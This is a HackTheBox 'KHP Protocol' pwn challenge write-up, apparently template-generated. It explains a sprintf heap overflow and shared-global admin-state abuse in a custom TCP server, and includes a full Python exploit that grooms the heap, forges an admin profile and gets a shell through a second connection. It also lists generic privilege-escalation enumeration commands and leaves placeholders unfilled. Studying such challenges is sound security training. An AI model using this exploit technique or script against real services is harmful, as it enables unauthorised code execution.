KHP Protocol Challenge Scenario
KHP Protocol Challenge Scenario
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-01 | Status: Solved Techniques: cross_connection_exec, empty_database_heap_grooming, heap_overflow_profile_forgery, shared_global_auth_abuse
Summary
Task: a custom threaded TCP protocol server exposed key-management commands and an EXEC path guarded by admin state. Solution: groom an empty key database, trigger the RegisterNewKey heap overflow with a forged profile, authenticate the corrupted admin entry, then use a second connection to EXEC and read flag.txt.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260401_hackthebox_khp_protocol_challenge_scenario - Tags: command_execution, heap_overflow, custom_protocol, pwn, auth_bypass, tcp_protocol, threaded_server
- Indicators: custom TCP protocol with REKE/DEKE/RLDB/AUTH/EXEC commands, sprintf into a 0x54-byte heap allocation, attacker-controlled user:role and key fields, global user and role state shared across threads, EXEC gated only by admin authentication state
- Source:
20260401_hackthebox_khp_protocol_challenge_scenario.md
Foothold
Vulnerability / Misconfiguration
- Cross_connection_exec
- Empty_database_heap_grooming
- Heap_overflow_profile_forgery
- Shared_global_auth_abuse
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- cross_connection_exec
- empty_database_heap_grooming
- heap_overflow_profile_forgery
- shared_global_auth_abuse
- Tags: command_execution, heap_overflow, custom_protocol, pwn, auth_bypass, tcp_protocol, threaded_server
Original Writeup
<details><summary>Click to expand original content</summary>Summary
This challenge was a custom threaded TCP service implementing its own text protocol. The important commands were REKE, DEKE, RLDB, AUTH, and EXEC.
Initial reversing suggested several possible issues, including globally shared authentication state across threads and weak profile handling. The confirmed remote solution, however, was the empty-database heap-overflow route: groom the in-memory key list, delete one entry, overflow a heap chunk in RegisterNewKey, forge an admin profile, authenticate it, then open a second connection and use EXEC to read the flag.
Reconnaissance / Reversing
The binary was a TCP server that accepted line-based protocol commands from each client. Local notes also showed a number of suspicious design choices:
REKEregistered a newuser:role keyentry.DEKEdeleted an entry by id.RLDBreloaded keys from the on-disk database.AUTHauthenticated using an in-memory profile id.EXECspawned/bin/shwhen the current role wasadmin.
An early hypothesis was that the challenge might be solvable purely through shared global state, because several variables were process-global and reused across threads. That idea was relevant, but it was not the full exploit on the real service.
The key confirmed bug was in RegisterNewKey: it allocated only 0x54 bytes for a heap object, then built the resulting profile string with sprintf using attacker-controlled fields. Because both the user:role part and the key were under our control, the formatted string could exceed the allocation and overflow into adjacent heap data.
This mattered especially when the in-memory database was groomed into a predictable layout. By creating several small entries, reloading from disk, deleting one slot, and then inserting a crafted oversized record, the overflow could corrupt neighboring state in a way that made AUTH 1 succeed as an admin profile.
Root Cause
The root cause was an unsafe heap write in RegisterNewKey.
Conceptually, the code did this:
chunk = malloc(0x54); sprintf(chunk, "%s:%s %s;", user, role, key);
That is unsafe because:
- The destination buffer is fixed at
0x54bytes, - All formatted fields are attacker-controlled,
sprintfperforms no bounds checking.
So the service let us write past the end of a heap chunk and corrupt adjacent in-memory key data or related pointers/state. In practice, the reliable remote path was to use this overflow after grooming the key array into the right shape with repeated REKE, RLDB, and DEKE operations.
The challenge also contained other weaknesses noted during local analysis:
- shared global auth/profile state across threads,
- out-of-bounds indexing in key slots,
- unchecked delete paths,
- a buggy read terminator.
Those bugs helped explain the service behavior, especially why a second connection could later benefit from the authenticated admin state, but the working exploit depended on the heap overflow and the empty-database setup.
Exploitation Steps
The successful remote exploit sequence was:
REKE chaita:admin abcdefREKE chaita:admin abcdefREKE chaita:admin abcdefRLDBDEKE 3REKE CHA:ITA+0x70bytes of\x01+chaita:admin abcdefAUTH 1- Open a second connection and send
EXEC - Run
cat flag.txt
Why this works:
- The first three
REKEcalls populate the in-memory structures with predictable entries. RLDBrefreshes state from the backing store and helps stabilize the layout used by the exploit.DEKE 3frees one slot, creating the hole used by the final oversized registration.- The last
REKEsends a crafteduser:rolefield (CHA:ITA) followed by0x70bytes of\x01, then another valid-lookingchaita:admin abcdefsequence. This overflows the0x54-byte heap allocation and corrupts adjacent state. - After the corruption,
AUTH 1succeeds and sets the service into an authenticated admin state. - A second TCP connection can then issue
EXECand obtain a shell context.
One small remote-specific detail: on the real instance, cat /flag.txt failed, but cat flag.txt succeeded. So the final read command had to use the relative path.
Exploit Script
The repository already contains the working exploit at tasks/hackthebox/KHP Protocol Challenge Scenario/solve.py.
#!/usr/bin/env python3
import argparse
import socket
import sys
import time
def recv_some(sock, timeout=0.8):
sock.settimeout(timeout)
chunks = []
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
chunks.append(chunk)
if len(chunk) < 4096:
break
except Exception:
pass
return b"".join(chunks)
def send_cmd(sock, data, pause=0.35):
if isinstance(data, str):
data = data.encode()
sock.sendall(data + b"\n")
time.sleep(pause)
return recv_some(sock)
def main():
parser = argparse.ArgumentParser(
description="Exploit KHP Protocol empty-DB heap overflow"
)
parser.add_argument("host")
parser.add_argument("port", type=int)
parser.add_argument(
"--cmd", default="cat flag.txt", help="Command to run after EXEC"
)
args = parser.parse_args()
s1 = socket.create_connection((args.host, args.port))
for cmd in [
"REKE chaita:admin abcdef",
"REKE chaita:admin abcdef",
"REKE chaita:admin abcdef",
"RLDB",
"DEKE 3",
]:
send_cmd(s1, cmd)
overflow = b"REKE CHA:ITA " + (b"\x01" * 0x70) + b"chaita:admin abcdef"
send_cmd(s1, overflow, pause=0.5)
auth = send_cmd(s1, "AUTH 1", pause=0.6)
if b"Authenticated" not in auth:
sys.stderr.write(auth.decode("latin1", errors="replace"))
sys.exit(1)
s2 = socket.create_connection((args.host, args.port))
shell = send_cmd(s2, "EXEC", pause=0.6)
if b"You can run commands now." not in shell:
sys.stderr.write(shell.decode("latin1", errors="replace"))
sys.exit(1)
out = send_cmd(s2, args.cmd, pause=0.8)
sys.stdout.write(out.decode("latin1", errors="replace"))
s1.close()
s2.close()
if __name__ == "__main__":
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR